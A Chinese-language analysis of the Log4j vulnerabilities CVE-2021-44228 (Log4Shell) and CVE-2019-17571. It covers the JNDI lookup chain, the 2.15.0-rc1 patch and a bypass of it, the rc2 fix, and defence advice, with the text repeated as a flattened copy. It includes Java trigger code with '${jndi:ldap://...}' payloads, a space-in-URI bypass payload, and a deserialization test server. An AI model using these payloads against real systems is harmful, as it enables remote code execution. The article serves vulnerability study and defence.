深入研究Log4j漏洞原理及利用
字数 1562 2025-08-23 18:31:09

Log4j漏洞原理及利用深度分析

1. Log4j概述

Log4j是Java应用程序中广泛使用的日志记录框架,主要组件包括:

  • 日志记录器(Logger):核心组件,接收并传递日志消息
  • 日志级别(Log Level):DEBUG、INFO、WARN、ERROR、FATAL
  • Appender:确定日志输出目标(控制台、文件、数据库等)
  • 日志布局(Layout):决定日志消息的格式
  • 配置文件:XML或属性文件,配置日志系统

2. CVE-2021-44228漏洞分析

2.1 影响版本

2.0-beta9到2.14.1

2.2 测试环境

  • log4j-2.14.1
  • jdk1.8_66
  • Maven依赖:
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

2.3 漏洞触发代码

package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class CVE202144228 {
    public static final Logger logger = LogManager.getLogger(CVE202144228.class);
    public static void main(String[] args) {
        String message = "${jndi:ldap://127.0.0.1:1389/0xrsto}";
        logger.error("error info:{}", message);
    }
}

2.4 漏洞原理关键点

  1. 消息格式化阶段

    • MessagePatternConverter.format()方法处理${}占位符
    • 调用config.getStrSubstitutor().replace()进行变量替换
  2. 变量解析阶段

    • StrSubstitutor.substitute()提取${}中的内容
    • StrSubstitutor.resolveVariable()解析变量
  3. JNDI查找阶段

    • Interpolator.lookup()根据前缀获取对应的StrLookup对象
    • 前缀为"jndi"时获取JndiLookup对象
    • 最终调用jndiManager.lookup()执行JNDI查找

2.5 日志级别影响

  • 默认情况下,等级值小于等于ERROR级别(200)的日志会触发漏洞
  • 可通过修改配置文件log4j2.xml调整级别:
<Root level="info">
    <AppenderRef ref="Console"/>
</Root>

3. Log4j 2.15.0-rc1修复分析

3.1 主要修复点

  1. 消息格式化修改

    • 默认使用SimpleMessagePatternConverter处理消息
    • 移除了从Properties中获取Lookup配置的选项
    • 默认不开启lookup功能
  2. JNDI白名单限制

    • 使用InitialDirContext替代InitialContext
    • JndiManager.lookup()中添加协议白名单检查:
    if (!this.allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
        LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
        return null;
    }
    
    • 对LDAP/LDAPS协议添加主机名白名单检查

3.2 绕过方法

  1. 开启lookups功能

    • 修改配置文件启用lookups:
    <PatternLayout pattern="%msg{lookups}%n"/>
    
  2. 利用URI解析异常

    • 在URL中加入空格触发URISyntaxException异常
    • 示例payload:
    logger.error("${jndi:ldap://127.0.0.1:9999/ test}");
    

4. Log4j 2.15.0-rc2修复

  • 修补了rc1的缺陷,在URISyntaxException异常处理中添加return语句
  • 防止程序执行到最后一行lookup操作

5. CVE-2019-17571 (SimpleSocketServer漏洞)

5.1 影响版本

1.2.4 <= Apache Log4j <= 1.2.17

5.2 漏洞原理

  • SimpleSocketServer类监听指定端口接收日志消息
  • 接收的数据会进行反序列化操作
  • 可利用反序列化漏洞执行任意代码

5.3 测试代码

package org.example;
import org.apache.log4j.net.SimpleSocketServer;

public class CVE201917571 {
    public static void main(String[] args) {
        System.out.println("INFO: Log4j Listening on port 4444");
        String[] arguments = {"4444", (new CVE201917571()).getClass()
            .getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
        System.out.println("INFO: Log4j output successfuly.");
    }
}

5.4 漏洞触发点

  • SocketNode.run()方法中调用ois.readObject()
  • 可发送恶意序列化数据触发反序列化漏洞

6. 防御建议

  1. 升级到最新安全版本(2.16.0+)
  2. 禁用JNDI查找功能
  3. 设置日志级别为WARN或更高
  4. 对输入进行严格过滤,防止恶意日志注入
  5. 使用安全产品检测和阻断攻击尝试

7. 总结

Log4j漏洞系列展示了日志组件中存在的严重安全隐患,特别是:

  • JNDI注入导致的远程代码执行
  • 不安全的反序列化操作
  • 配置不当导致的安全问题

深入理解这些漏洞原理对于开发安全的Java应用程序至关重要。

Log4j漏洞原理及利用深度分析 1. Log4j概述 Log4j是Java应用程序中广泛使用的日志记录框架,主要组件包括: 日志记录器(Logger) :核心组件,接收并传递日志消息 日志级别(Log Level) :DEBUG、INFO、WARN、ERROR、FATAL Appender :确定日志输出目标(控制台、文件、数据库等) 日志布局(Layout) :决定日志消息的格式 配置文件 :XML或属性文件,配置日志系统 2. CVE-2021-44228漏洞分析 2.1 影响版本 2.0-beta9到2.14.1 2.2 测试环境 log4j-2.14.1 jdk1.8_ 66 Maven依赖: 2.3 漏洞触发代码 2.4 漏洞原理关键点 消息格式化阶段 : MessagePatternConverter.format() 方法处理 ${} 占位符 调用 config.getStrSubstitutor().replace() 进行变量替换 变量解析阶段 : StrSubstitutor.substitute() 提取 ${} 中的内容 StrSubstitutor.resolveVariable() 解析变量 JNDI查找阶段 : Interpolator.lookup() 根据前缀获取对应的 StrLookup 对象 前缀为"jndi"时获取 JndiLookup 对象 最终调用 jndiManager.lookup() 执行JNDI查找 2.5 日志级别影响 默认情况下,等级值小于等于ERROR级别(200)的日志会触发漏洞 可通过修改配置文件 log4j2.xml 调整级别: 3. Log4j 2.15.0-rc1修复分析 3.1 主要修复点 消息格式化修改 : 默认使用 SimpleMessagePatternConverter 处理消息 移除了从Properties中获取Lookup配置的选项 默认不开启lookup功能 JNDI白名单限制 : 使用 InitialDirContext 替代 InitialContext 在 JndiManager.lookup() 中添加协议白名单检查: 对LDAP/LDAPS协议添加主机名白名单检查 3.2 绕过方法 开启lookups功能 : 修改配置文件启用lookups: 利用URI解析异常 : 在URL中加入空格触发 URISyntaxException 异常 示例payload: 4. Log4j 2.15.0-rc2修复 修补了rc1的缺陷,在 URISyntaxException 异常处理中添加return语句 防止程序执行到最后一行lookup操作 5. CVE-2019-17571 (SimpleSocketServer漏洞) 5.1 影响版本 1.2.4 <= Apache Log4j <= 1.2.17 5.2 漏洞原理 SimpleSocketServer 类监听指定端口接收日志消息 接收的数据会进行反序列化操作 可利用反序列化漏洞执行任意代码 5.3 测试代码 5.4 漏洞触发点 SocketNode.run() 方法中调用 ois.readObject() 可发送恶意序列化数据触发反序列化漏洞 6. 防御建议 升级到最新安全版本(2.16.0+) 禁用JNDI查找功能 设置日志级别为WARN或更高 对输入进行严格过滤,防止恶意日志注入 使用安全产品检测和阻断攻击尝试 7. 总结 Log4j漏洞系列展示了日志组件中存在的严重安全隐患,特别是: JNDI注入导致的远程代码执行 不安全的反序列化操作 配置不当导致的安全问题 深入理解这些漏洞原理对于开发安全的Java应用程序至关重要。